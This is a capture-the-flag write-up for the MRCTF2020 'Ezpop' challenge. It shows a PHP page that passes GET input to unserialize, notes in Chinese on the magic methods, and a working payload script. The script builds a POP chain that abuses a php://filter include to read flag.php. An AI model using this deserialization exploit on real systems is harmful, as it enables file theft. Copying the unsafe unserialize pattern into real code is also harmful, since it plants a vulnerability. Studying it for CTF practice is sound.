[MRCTF2020]Ezpop

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

这题用到的魔术方法

__construct   当一个对象创建时被调用，
__toString   当一个对象被当作一个字符串被调用。
__wakeup()   使用unserialize时触发
__get()    用于从不可访问的属性读取数据
#难以访问包括：（1）私有属性，（2）没有初始化的属性
__invoke()   当脚本尝试将对象调用为函数时触发

 

构造一下pop链

首先反序列化函数，触发Show类中的wakeup方法，wakeup方法做字符串处理，触发tosring方法，如果将str实例化为Test，因为Test类中不含source属性，所以调用get方法，将function实例化为Modifier类，即可触发其中invoke方法，最终调用文件包含函数，读取flag.php

payload

<?php 
class Modifier {
    protected  $var = 'php://filter/convert.base64-encode/resource=flag.php';
    
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
    }
    
}

class Test{
    public $p;
    
}

$b = new Show();
$b->str = new Test();
$b->str->p = new Modifier;
$a = new Show($b);

echo urlencode(serialize($a));
?>